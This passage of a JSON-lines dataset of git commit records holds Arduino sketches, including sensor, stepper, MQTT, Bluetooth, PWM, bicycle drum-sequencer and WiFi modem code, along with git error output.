https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ac14e98bae82c18ec9545455278868d94d3ec9dd","subject":"calibrated sensor to now work in mm rather then inch","message":"calibrated sensor to now work in mm rather then inch\n","repos":"thijser\/robotica-minor-5,thijser\/robotica-minor-5,thijser\/robotica-minor-5,thijser\/robotica-minor-5","old_file":"intro_robotic_code\/ultrasound_Arduino\/ultrasound_Arduino.ino","new_file":"intro_robotic_code\/ultrasound_Arduino\/ultrasound_Arduino.ino","new_contents":"\/* \n * rosserial Ultrasound Example\n * \n * This example is for the Maxbotix Ultrasound rangers.\n *\/\n\n#include <ros.h>\n#include <ros\/time.h>\n#include <sensor_msgs\/Range.h>\n#define trigPin 13\n#define echoPin 12\n#define led 11\n#define led2 10\n#define speedOfSound 3.4;\nros::NodeHandle nh;\nsensor_msgs::Range range_msg;\nros::Publisher pub_range( \"\/ultrasound\", &range_msg);\nchar frameid[] = \"\/ultrasound\";\n\nfloat getRange_Ultrasound(int pin_num){\n int val = 0;\n val += analogRead(pin_num);\n float range = val;\n return range ; \/\/ (0.0124023437 \/4) ; \/\/cvt to meters\n}\n\nvoid setup(){\n nh.initNode();\n nh.advertise(pub_range);\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n \n range_msg.radiation_type = sensor_msgs::Range::ULTRASOUND;\n range_msg.header.frame_id = frameid;\n range_msg.field_of_view = 0.1; \n range_msg.min_range = 40.0;\n range_msg.max_range = 10000;\n\n}\n\n\nlong range_time;\n\nvoid loop()\n{\n \n \/\/publish the adc value every 50 milliseconds\n \/\/since it takes that long for the sensor to stablize\n long duration, distance;\n digitalWrite(trigPin, LOW); \/\/ Added this line\n delayMicroseconds(2); \/\/ Added this line\n digitalWrite(trigPin, HIGH);\n\/\/ delayMicroseconds(1000); - Removed this line\n delayMicroseconds(10); \/\/ Added this line\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2);\n range_msg.range = distance\/speedOfSound;\n range_msg.header.stamp = nh.now();\n range_time = millis() + 50;\n pub_range.publish(&range_msg);\n \n nh.spinOnce();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'intro_robotic_code\/ultrasound_Arduino\/ultrasound_Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"24680c49d9898a9d2b638aa9a77274ea0f914cce","subject":"Initial install of stepper example","message":"Initial install of stepper example\n","repos":"roryzweistra\/RyCrane,roryzweistra\/RyCrane","old_file":"Arduino\/stepper_example\/stepper_example.ino","new_file":"Arduino\/stepper_example\/stepper_example.ino","new_contents":"\/\/Copyright 2012 Igor Campos\n\/\/\n\/\/This file is part of CustomStepper.\n\/\/\n\/\/CustomStepper is free software: you can redistribute it and\/or modify\n\/\/it under the terms of the GNU General Public License as published by\n\/\/the Free Software Foundation, either version 3 of the License, or\n\/\/(at your option) any later version.\n\/\/\n\/\/CustomStepper is distributed in the hope that it will be useful,\n\/\/but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/GNU General Public License for more details.\n\/\/\n\/\/You should have received a copy of the GNU General Public License\n\/\/along with CustomStepper. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include <CustomStepper.h>\n\n\/\/Full constructor, just the first 4 parameters are necessary, they are the pins connected to the motor,\n\/\/the others are optional, and default to the following below\n\/\/the 5th paramater is the steps sequence, where the 1st element of the array is the number of steps\n\/\/it can have a maximum of 8 steps\n\/\/the 6th parameter is the SPR (Steps Per Rotation)\n\/\/the 7th parameter is the RPM\n\/\/the 8th parameter is the rotation orientation\nCustomStepper stepper(8, 9, 10, 11, (byte[]){8, B1000, B1100, B0100, B0110, B0010, B0011, B0001, B1001}, 4075.7728395, 12, CW);\nboolean rotate1 = false;\nboolean rotatedeg = false;\nboolean crotate = false;\n\nvoid setup()\n{\n \/\/sets the RPM\n stepper.setRPM(12);\n \/\/sets the Steps Per Rotation, in this case it is 64 * the 283712\/4455 annoying ger ratio\n \/\/for my motor (it works with float to be able to deal with these non-integer gear ratios)\n stepper.setSPR(4075.7728395);\n}\n\nvoid loop()\n{\n \/\/when a command is finished it the isDone will return true, it is important to notice that\n \/\/you can't give one command just after another since they don't block the execution, \n \/\/which allows the program to control multiple motors\n if (stepper.isDone() && rotate1 == false)\n {\n \/\/this method sets the direction of rotation, has 3 allowed values (CW, CCW, and STOP) \n \/\/clockwise and counterclockwise for the first 2\n stepper.setDirection(CCW);\n \/\/this method sets the motor to rotate a given number of times, if you don't specify it, \n \/\/the motor will rotate untilyou send another command or set the direction to STOP\n stepper.rotate(2);\n rotate1 = true;\n }\n if (stepper.isDone() && rotate1 == true && rotatedeg == false)\n {\n stepper.setDirection(CW);\n \/\/this method makes the motor rotate a given number of degrees, it works with float\n \/\/you can give angles like 90.5, but you can't give negative values, it rotates to the direction currently set\n stepper.rotateDegrees(90);\n rotatedeg = true;\n }\n if (stepper.isDone() && rotatedeg == true && crotate == false)\n {\n stepper.setDirection(CCW);\n \/\/this will rotate until you stop it with another comand or set the direction to STOP\n stepper.rotate();\n crotate = true;\n }\n \/\/this is very important and must be placed in your loop, it is this that makes the motor steps\n \/\/when necessary\n stepper.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/stepper_example\/stepper_example.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"73596041246da7e78c1d1adce01ee4cc64076da6","subject":"Adding Arduino ino file","message":"Adding Arduino ino file\n\nAdding the current Arduino file.\nHas Cadence and Temp monitoring. Plus 1 sec output for Temp, for Cooling\nexperiment.\n","repos":"walki\/abc","old_file":"ArduinoBikeComputer\/ArduinoBikeComputer.ino","new_file":"ArduinoBikeComputer\/ArduinoBikeComputer.ino","new_contents":"#include <i2cmaster.h>\n\nint sense0 = 2;\nint sense1 = 3;\nint counter0 = 0;\nint counter1 = 0;\nunsigned long currentTime = 0;\nunsigned long lastDebounce0 = 0;\nunsigned long lastDebounce1 = 0;\ndouble lastRPM1 = 0.0;\nlong debounceDelay = 60; \/\/ Ignore bounces 60 millisecond ... 150 rpm on pedals ~ 128 ms per wheel rotation\nlong tempDelay = 1000;\n\nvoid setup()\n{\n Serial.begin(9600);\n \/\/Serial.println(\"Setup...\");\n \t\n TempSetup();\n RPMSetup();\n\n currentTime = millis();\n \n \n} \n \nvoid loop()\n{\n\n if ( currentTime + tempDelay < millis())\n {\n Serial.print(\"### Temp ### \");\n Serial.println( TemperatureSensing() );\n delay(1000); \/\/ wait a second before printing again\n }\n}\n\nvoid RPMSetup()\n{\n pinMode(sense0, INPUT);\n digitalWrite(sense0, HIGH);\n pinMode(sense1, INPUT);\n digitalWrite(sense1, HIGH);\n attachInterrupt(0, trigger0, FALLING);\n attachInterrupt(1, trigger1, FALLING);\n \/\/Serial.println(\"Repetition counter\");\n \/\/Serial.print(\"Start\");\n \/\/Serial.print(\"\\t\");\n \/\/Serial.println(\"End\");\n}\n\nvoid TempSetup()\n{\n i2c_init(); \/\/Initialise the i2c bus\n PORTC = (1 << PORTC4) | (1 << PORTC5);\/\/enable pullups\n}\n\nvoid trigger0()\n{\n currentTime = millis();\n if( (currentTime - lastDebounce0) > debounceDelay){\n counter0++;\n \/\/Serial.print(counter0);\n \/\/Serial.print(\" : \");\n \/\/Serial.print(counter1);\n \n \/\/Serial.print(\" ::: \");\n \/\/Serial.print( CalcPedalRPM( currentTime, lastDebounce0 ) );\n \/\/Serial.print(\" : \");\n \/\/Serial.println( lastRPM1 );\n float tempC = TemperatureSensing();\n float pedalRpm = CalcPedalRPM( currentTime, lastDebounce0 );\n\n Serial.print( \"C:\" );\n Serial.print( pedalRpm );\n Serial.print( \"~\" );\n \n Serial.print( \"W:\" );\n Serial.print( tempC );\n Serial.println();\n \n lastDebounce0 = currentTime;\n\n }\n}\n\ndouble CalcPedalRPM(unsigned long curr, unsigned long last)\n{\n \/\/ ( 1 wheelrot \/ (curr-last)usec ) * ( 10^3 usec \/ 1 s) * ( 60 sec \/ 1 min) * (22.0 pedalrot \/ 68.8 wheelrot);\n return 19186.046511628 \/ ((double)(curr - last)) ;\n}\n\nvoid trigger1()\n{\n currentTime = millis();\n if( (currentTime - lastDebounce1) > debounceDelay)\n {\n counter1++;\n lastRPM1 = CalcPedalRPM( currentTime, lastDebounce1 ); \n lastDebounce1 = currentTime;\n }\n}\n\ndouble TemperatureSensing()\n{\n int dev = 0x5A<<1;\n int data_low = 0;\n int data_high = 0;\n int pec = 0;\n \n i2c_start_wait(dev+I2C_WRITE);\n i2c_write(0x07);\n \n \/\/ read\n i2c_rep_start(dev+I2C_READ);\n data_low = i2c_readAck(); \/\/Read 1 byte and then send ack\n data_high = i2c_readAck(); \/\/Read 1 byte and then send ack\n pec = i2c_readNak();\n i2c_stop();\n \n \/\/This converts high and low bytes together and processes temperature, MSB is a error bit and is ignored for temps\n double tempFactor = 0.02; \/\/ 0.02 degrees per LSB (measurement resolution of the MLX90614)\n double tempData = 0x0000; \/\/ zero out the data\n int frac; \/\/ data past the decimal point\n \n \/\/ This masks off the error bit of the high byte, then moves it left 8 bits and adds the low byte.\n tempData = (double)(((data_high & 0x007F) << 8) + data_low);\n tempData = (tempData * tempFactor)-0.01;\n \n double celcius = tempData - 273.15;\n \/\/double fahrenheit = (celcius*1.8) + 32;\n\n \/\/Serial.print(\"Celcius: \");\n \/\/Serial.println(celcius);\n\n \/\/Serial.print(\"Fahrenheit: \");\n \/\/Serial.println(fahrenheit); \n \n return celcius;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoBikeComputer\/ArduinoBikeComputer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"579eab0787c2b3269f155f2cff815b32a73bfb90","subject":"Software: Jack Rabbit","message":"Software: Jack Rabbit\n\nUpdating the JackRabbit code to lower the PWM update rate for the\nthrottle channel. Also made a minor change to the control surface PWM,\nwhich should improve accuracy.\n","repos":"PAAW\/mAEWing1,PAAW\/mAEWing1,PAAW\/mAEWing1","old_file":"Software\/JackRabbit\/JackRabbit.ino","new_file":"Software\/JackRabbit\/JackRabbit.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PAAW\/mAEWing1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3aad18f639c3deb6e9fba0d53c0207aea01df07f","subject":"adds esp analog out example","message":"adds esp analog out example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"esp8266\/analog-out\/analog-out.ino","new_file":"esp8266\/analog-out\/analog-out.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library ESP8266 Example\n\n Must use ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n\n Works great with Adafruit's Huzzah ESP board:\n ----> https:\/\/www.adafruit.com\/product\/2471\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Tony DiCola for Adafruit Industries.\n Adafruit IO example additions by Todd Treece.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <ESP8266WiFi.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/****************************** Pins ******************************************\/\n\n#define LED 2 \/\/ any PWM pin\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = AIO_KEY __DATE__ __TIME__;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for subscribing to changes.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char PHOTOCELL_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/photocell\";\nAdafruit_MQTT_Subscribe photocell = Adafruit_MQTT_Subscribe(&mqtt, PHOTOCELL_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\nvoid setup() {\n\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit IO Example\"));\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n delay(10);\n Serial.print(F(\"Connecting to \"));\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(F(\".\"));\n }\n Serial.println();\n\n Serial.println(F(\"WiFi connected\"));\n Serial.println(F(\"IP address: \"));\n Serial.println(WiFi.localIP());\n\n \/\/ listen for events on the photocell feed\n mqtt.subscribe(&photocell);\n\n \/\/ connect to adafruit io\n connect();\n\n}\n\nvoid loop() {\n\n Adafruit_MQTT_Subscribe *subscription;\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ ping adafruit io a few times to make sure we remain connected\n if(! mqtt.ping(3)) {\n \/\/ reconnect to adafruit io\n if(! mqtt.connected())\n connect();\n }\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n while (subscription = mqtt.readSubscription(1000)) {\n\n \/\/ we only care about the photocell events\n if (subscription == &photocell) {\n\n \/\/ convert mqtt ascii payload to int\n char *value = photocell.lastread;\n Serial.print(F(\"Received: \"));\n Serial.println(value);\n int reading = atoi(value);\n\n \/\/ LED gets brighter the darker it is at the sensor\n \/\/ that means we have to -invert- the reading from 0-1023 back to 1023-0\n reading = 1023 - reading;\n analogWrite(LED, reading);\n\n }\n\n }\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() {\n\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n\n int8_t ret;\n\n while ((ret = mqtt.connect()) != 0) {\n\n switch (ret) {\n case 1: Serial.println(F(\"Wrong protocol\")); break;\n case 2: Serial.println(F(\"ID rejected\")); break;\n case 3: Serial.println(F(\"Server unavail\")); break;\n case 4: Serial.println(F(\"Bad user\/pass\")); break;\n case 5: Serial.println(F(\"Not authed\")); break;\n case 6: Serial.println(F(\"Failed to subscribe\")); break;\n default: Serial.println(F(\"Connection failed\")); break;\n }\n\n if(ret >= 0)\n mqtt.disconnect();\n\n Serial.println(F(\"Retrying connection...\"));\n delay(5000);\n\n }\n\n Serial.println(F(\"Adafruit IO Connected!\"));\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/analog-out\/analog-out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b7fd9d895c599d4795e1d260c7f8dbc565cd40b","subject":"draft","message":"draft\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/msensors\/wyms05\/wyms05.ino","new_file":"modules\/msensors\/wyms05\/wyms05.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dc4f4d3954f9dcb9e58c4cae66b78848ea0af727","subject":"Add Arduino Example file","message":"Add Arduino Example file\n","repos":"favarete\/GodotBluetooth,favarete\/GodotBluetooth","old_file":"GodotBluetoothDemos\/Arduino\/bluetoothExample.ino","new_file":"GodotBluetoothDemos\/Arduino\/bluetoothExample.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial bluetooth(10, 11);\n\n#define led1 5\n#define led2 4\n#define led3 3\n\nString command;\n\nvoid setup() {\n bluetooth.begin(9600);\n\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n pinMode(led3, OUTPUT);\n}\n\nvoid loop() {\n command = \"\";\n if(bluetooth.available()) {\n while(bluetooth.available()) {\n char character = bluetooth.read();\n\n command += character;\n delay(10);\n } \n if(command.indexOf(\"led1\") >= 0){\n digitalWrite(led1, !digitalRead(led1));\n }\n if(command.indexOf(\"led2\") >= 0){\n digitalWrite(led2, !digitalRead(led2));\n }\n if(command.indexOf(\"led3\") >= 0){\n digitalWrite(led3, !digitalRead(led3));\n }\n\n bluetooth.println(\"{\");\n\n if(digitalRead(led1)) {\n bluetooth.println(\"l1on\");\n }\n else {\n bluetooth.println(\"l1off\");\n }\n\n if(digitalRead(led2)) {\n bluetooth.println(\"l2on\");\n }\n else {\n bluetooth.println(\"l2off\");\n }\n\n if(digitalRead(led3)) {\n bluetooth.println(\"l3on\");\n }\n else {\n bluetooth.println(\"l3off\");\n }\n bluetooth.println(\"}\");\n }\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GodotBluetoothDemos\/Arduino\/bluetoothExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"321b57e1364a054e5c015a88e9b9f066367861fc","subject":"Funny action : modif code, en attente de test","message":"Funny action : modif code, en attente de test\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Funny Action\/Software\/Funny_action\/Funny_action.ino","new_file":"Module Funny Action\/Software\/Funny_action\/Funny_action.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Funny' did not match any file(s) known to git\nerror: pathspec 'Action\/Software\/Funny_action\/Funny_action.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b089497017fb0c6c44a8324686ef4d93b6512b54","subject":"PWM using timer 1","message":"PWM using timer 1\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"attiny85\/pwm_timer2\/pwm_timer2.ino","new_file":"attiny85\/pwm_timer2\/pwm_timer2.ino","new_contents":"\nunsigned char pwm_val = 0;\n\nvoid setup()\n{\n pinMode(0, OUTPUT); \n pinMode(1, OUTPUT); \n initPWM();\n}\n\nvoid loop() \n{\n delay(30);\n pwm_val++;\n \n if (pwm_val == 254) {\n pwm_val = 0; \n }\n \n setPwm(pwm_val);\n}\n\nvoid setPwm(byte val)\n{\n \/\/ Set the compare value (inverted)\n \/\/OCR1A = 255 - val;\n OCR1A = val;\n}\n\nvoid initPWM()\n{\n \/\/ Fast PWM on timer 2 \n \n \/\/ This does both PB0 & PB1 (opposite vals for each)\n \/\/TCCR1 = (1 << PWM1A) | (1 << COM1A0) | (1 << CTC1) | (1 << CS10);\n \n \/\/ PB1 ONLY\n TCCR1 = (1 << PWM1A) | (1 << COM1A1) | (0 << COM1A0) | (1 << CTC1) | (1 << CS10);\n\n setPwm(pwm_val);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'attiny85\/pwm_timer2\/pwm_timer2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"17126b930ffd13f89c9339d4eba2daa480f7516a","subject":"Bicycle drummer 0.1","message":"Bicycle drummer 0.1\n\nBicycle drummer : uses an arduino nano, a dreamblaster s1 synth module,\nand a battery powered speaker to create a Bicycle drummer. It plays a\nrock drum pattern, synchronized to the tempo of the bicycle wheel. The\nArduino measures the period of the reed switch pulse, and adjusts the\ntempo of a drum sequence accordingly. If the period grows longer than 5\nseconds, the sequence is stopped.\n","repos":"serdef\/synthprojects,serdef\/synthprojects","old_file":"arduino\/cycledrummer\/BICYCLEDRUMMER01\/BICYCLEDRUMMER01.ino","new_file":"arduino\/cycledrummer\/BICYCLEDRUMMER01\/BICYCLEDRUMMER01.ino","new_contents":"\/*\nBICYCLE DRUMMER 0.02\n30.05.2014\nBy Serge Defever\nArduino NANO + Dreamblaster S1\n\nDreamblaster S1 : http:\/\/www.serdashop.com\/waveblaster\nArduino NANO : http:\/\/store.arduino.cc\/\n\n*\/\n\n#include <TimerOne.h>\nlong calctempodelay = 0;\nlong tempodelay = 500;\nlong curtimestamp = 0;\nlong prevtimestamp = 0;\nlong lasttickstamp =0;\nlong wheelfactor = 6; \/\/ adjust this to modify the pulseperiod to tempo ratio (wheel radius), higher = faster\n\n#define _BASSDRUM_NOTE 0x24\n#define _SNAREDRUM_NOTE 0x26\n#define _CLOSEDHIHAT_NOTE 0x2A\n#define _PEDALHIHAT_NOTE 0x2C\n#define _OPENHIHAT_NOTE 0x2E\n#define _CYMBAL_NOTE 0x31\n\nvoid midiwrite(int cmd, int pitch, int velocity) {\n Serial.write(cmd);\n Serial.write(pitch);\n Serial.write(velocity);\n}\n\n\nconst int buttonPin = 2;\nint potentiopin = 2;\nlong potentiovalue = 0;\nint buttonState = 0; \nint prev_buttonState = 0; \nint enabledrumming = 0;\nlong seq_poscnt = 0;\n\nvoid drumseq(long seqpos) \n{ \n char relativpos;\n char seq_poscnt_mod2;\n relativpos =seqpos%16;\n seq_poscnt_mod2 = seqpos%2;\n if(enabledrumming)\n {\n if((seq_poscnt_mod2 == 0) && (relativpos < 14))\n {\n midiwrite(0x99, _PEDALHIHAT_NOTE, 0x65); \/\/ fast hi hat midi note\n }\n\n switch(relativpos)\n {\n case 0 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 4:\n midiwrite(0x99, _SNAREDRUM_NOTE, 0x65); \n break;\n case 6 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 8 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 12:\n midiwrite(0x99, _SNAREDRUM_NOTE, 0x65); \n break;\n case 14:\n midiwrite(0x99, _OPENHIHAT_NOTE, 0x65); \n\n break; \n default :\n break;\n } \n\n };\n}\n\n\nvoid timercallback()\n{\n drumseq(seq_poscnt);\n bassseq(seq_poscnt);\n seq_poscnt++;\n lasttickstamp = millis();\n Timer1.setPeriod(tempodelay * 1000); \n}\n\nvoid setup() {\n Serial.begin(31250);\n pinMode(buttonPin, INPUT); \n Timer1.attachInterrupt(timercallback);\n Timer1.initialize(tempodelay*1000); \n}\n\nvoid stopdrum(){\n enabledrumming = 0; \n prevtimestamp = 0;\n curtimestamp = 0;\n seq_poscnt = 0;\n \n}\n\nvoid loop() {\n long timesincelastbeat;\n long timetonextbeat;\n buttonState = digitalRead(buttonPin);\n if(prev_buttonState!=buttonState)\n {\n prev_buttonState = buttonState;\n if(buttonState == 1)\n {\n prevtimestamp = curtimestamp;\n curtimestamp = millis();\n if(prevtimestamp)\n { \n calctempodelay = curtimestamp - prevtimestamp;\n if(calctempodelay > 200 && calctempodelay < 5000) \/\/ if tempo is within range, calc tempo and enable drum\n {\n if(enabledrumming == 0)\n {\n seq_poscnt = 0;\n enabledrumming = 1;\n }\n tempodelay = calctempodelay\/wheelfactor;\n timesincelastbeat = curtimestamp - lasttickstamp;\n if(timesincelastbeat > tempodelay) \/\/ is the beat is going faster, tick immediately (within 10ms)\n {\n timetonextbeat = 10; \n }\n else\n {\n timetonextbeat = tempodelay -timesincelastbeat; \/\/ calculate remaining period for next tick\n if (timetonextbeat < 10)\n {\n timetonextbeat = 10;\n }\n }\n Timer1.setPeriod(timetonextbeat * 1000); \/\/ calculate period until next beat \n }\n }\n }\n } \n else\n {\n if(enabledrumming)\n {\n if(curtimestamp)\n {\n if( (millis() - curtimestamp )> 5000) \/\/ automatically stop if no sensor change for longer than 5s\n {\n stopdrum(); \n }\n }\n }\n }\n\n}\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/cycledrummer\/BICYCLEDRUMMER01\/BICYCLEDRUMMER01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6bd059b52cbbe1ca2e92f3f53b0c71819e13db7c","subject":"","message":"\n\ngit-svn-id: svn:\/\/192.168.1.10\/public\/Zimodem@14509 0d6f1817-ed0e-0410-87c9-987e46238f29\n","repos":"bozimmerman\/Zimodem,bozimmerman\/Zimodem","old_file":"zimodem\/zimodem.ino","new_file":"zimodem\/zimodem.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <FS.h>\n#include <spiffs\/spiffs.h>\n\n#define ZIMODEM_VERSION \"0.1\"\n\nclass ZMode\n{\n public:\n virtual void serialIncoming();\n virtual void loop();\n};\n\nbool connectWifi(const char* ssid, const char* password) \n{\n int WiFiCounter = 0;\n WiFi.disconnect();\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED && WiFiCounter < 30) \n {\n delay(1000);\n WiFiCounter++;\n }\n return WiFi.status() == WL_CONNECTED;\n}\n\nclass ZCommand : public ZMode\n{\n const int MAX_COMMAND_SIZE=256;\n \n public:\n void serialIncoming()\n {\n uint8_t sbuf[MAX_COMMAND_SIZE];\n memset(sbuf,0,MAX_COMMAND_SIZE);\n int n = Serial.readBytesUntil('\\n',sbuf, MAX_COMMAND_SIZE);\n if((n > 0)&&(sbuf[n-1]=='\\r'))\n sbuf[--n]=0;\n if(n > 0)\n {\n if((n>1)\n &&((sbuf[0]=='A')||(sbuf[0]=='a'))\n &&((sbuf[1]=='T')||(sbuf[1]=='t')))\n {\n if(n == 2)\n Serial.println(\"OK\");\n else\n {\n int index=2;\n char lastCmd=' ';\n int result=0;\n int vstart=0;\n int vlen=0;\n while(index<n)\n {\n lastCmd=sbuf[index++];\n vstart=index;\n vlen=0;\n if(index<n)\n {\n if(sbuf[index]=='\\\"')\n {\n vstart++;\n while((++index<n)&&(sbuf[index]!='\\\"'))\n vlen++;\n }\n else\n while((index<n)\n &&(! (((sbuf[index]>='a')&&(sbuf[index]<='z'))\n ||((sbuf[index]>='A')&&(sbuf[index]<='Z')))))\n {\n vlen++;\n index++;\n }\n }\n int vval=0;\n uint8_t vbuf[vlen+1];\n memset(vbuf,0,vlen+1);\n if(vlen > 0)\n {\n memcpy(vbuf,sbuf+vstart,vlen);\n vval=atoi((char *)vbuf);\n }\n switch(lastCmd)\n {\n case 'w':\n case 'W':\n {\n if((vlen==0)||(vval>0))\n {\n int n = WiFi.scanNetworks();\n if((vval > 0)&&(vval < n))\n n=vval;\n for (int i = 0; i < n; ++i)\n {\n Serial.print(WiFi.SSID(i));\n Serial.print(\" (\");\n Serial.print(WiFi.RSSI(i));\n Serial.print(\")\");\n Serial.println((WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\");\n delay(10);\n }\n }\n else\n {\n char *x=strstr((char *)vbuf,\",\");\n if(x <= 0)\n result=1;\n else\n {\n *x=0;\n char *ssi=(char *)vbuf;\n char *pw=x+1;\n if(!connectWifi(ssi,pw))\n result=1;\n else\n {\n File f = SPIFFS.open(\"\/zconfig.txt\", \"w\");\n f.print(ssi);\n f.print(\",\");\n f.print(pw);\n f.close();\n }\n }\n }\n break;\n }\n default:\n break;\n }\n }\n switch(result)\n {\n case 0:\n Serial.println(\"OK\");\n break;\n case 1:\n Serial.println(\"ERROR\");\n break;\n default:\n break;\n }\n }\n }\n else\n Serial.println(\"ERROR\");\n }\n }\n\n void loop()\n {\n \n }\n};\n\nZCommand commandMode;\n\nZMode *currMode = &commandMode;\n\nvoid setup() \n{\n Serial.begin(115200); \/\/Start Serial\n delay(10);\n Serial.print(\"\\r\\nZiModem v\");\n Serial.println(ZIMODEM_VERSION);\n Serial.printf(\"sdk=%s core=%s cpu@%d\\r\\n\",ESP.getSdkVersion(),ESP.getCoreVersion().c_str(),ESP.getCpuFreqMHz());\n Serial.printf(\"flash chipid=%d size=%d rsize=%d speed=%d\\r\\n\",ESP.getFlashChipId(),ESP.getFlashChipSize(),ESP.getFlashChipRealSize(),ESP.getFlashChipSpeed());\n SPIFFS.begin();\n if(!SPIFFS.exists(\"\/zconfig.txt\"))\n {\n Serial.println(\"Initializing...\");\n SPIFFS.format();\n File f = SPIFFS.open(\"\/zconfig.txt\", \"w\");\n f.println(\"\");\n f.println(\"\");\n f.close();\n }\n else\n {\n File f = SPIFFS.open(\"\/zconfig.txt\", \"r\");\n String str=f.readString();\n f.close();\n if((str!=0)&&(str.length()>0))\n {\n char ssi[str.length()+1];\n strcpy(ssi,str.c_str());\n char *pw=strstr(ssi,\",\");\n if(pw>ssi)\n {\n 